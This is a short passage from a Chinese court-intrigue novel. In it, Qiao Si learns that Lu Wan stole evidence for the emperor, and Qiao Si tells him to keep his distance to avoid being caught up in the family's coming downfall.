“那些罪证是你偷来送给乔家的吗?” “是。” “狗……够辛苦的啊,是皇帝让你这么做的?” “是。” “……”乔肆沉思片刻, “乔家没几个好东西,以后还是离他们远点吧。” 陆晚笑了。 他早就听说过一些乔家的手段,但听到乔家人自己这样劝他还是头一回。 “以后也离我远一点吧。” 乔肆临走摆摆手, “跟我扯上关系也没什么好事的,以后别人问起,还是继续装不认识我吧。” 毕竟,等到他诛九族那天,谁要是跟他走得太近,可也是会被牵连的。